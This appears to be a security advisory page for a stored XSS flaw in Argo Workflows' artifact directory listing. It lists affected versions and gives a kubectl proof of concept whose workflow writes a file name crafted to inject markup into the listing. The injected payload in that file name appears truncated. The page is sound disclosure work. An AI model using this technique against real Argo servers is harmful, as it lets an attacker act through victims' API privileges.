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Open-source package vulnerability · Go

CVE-2026-23960: Argo Workflows affected by stored XSS in the artifact directory listing

highCVSS 4.0 7.3GHSA-cv78-6m8q-ph82

Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Details The directory listing response in server/artifacts/artifactserver.go renders object names directly into HTML via fmt.Fprintf without escaping.

Published Jan 21, 2026 · Updated Jan 22, 2026

Affected packages

github.com/argoproj/argo-workflows/v3

Ecosystem
Go
Affected
< 3.6.17
Fixed in
3.6.17
Check
go list -m github.com/argoproj/argo-workflows/v3

github.com/argoproj/argo-workflows/v3

Ecosystem
Go
Affected
>= 3.7.0, <= 3.7.7
Fixed in
3.7.8
Check
go list -m github.com/argoproj/argo-workflows/v3

github.com/argoproj/argo-workflows

Ecosystem
Go
Affected
<= 2.5.3-rc4
Fixed in
No patched version yet
Check
go list -m github.com/argoproj/argo-workflows

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

Details

The directory listing response in server/artifacts/artifact_server.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.

https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244

PoC

  1. Deploy Argo Workflows:
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
  1. Port‑forward Argo Server:
kubectl -n argo port-forward deploy/argo-server 2746:2746
  1. Create the PoC workflow:
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
  1. Wait for completion:
kubectl -n argo get wf -w
  1. Get the node ID:
kubectl -n argo get wf <wf-name> \
  -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
  1. Open the listing:

https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/

Impact

  • The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.
  • The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):

  • Read information about the victim’s workflows.
  • Create or delete workflows.

Credited to Masamuneee.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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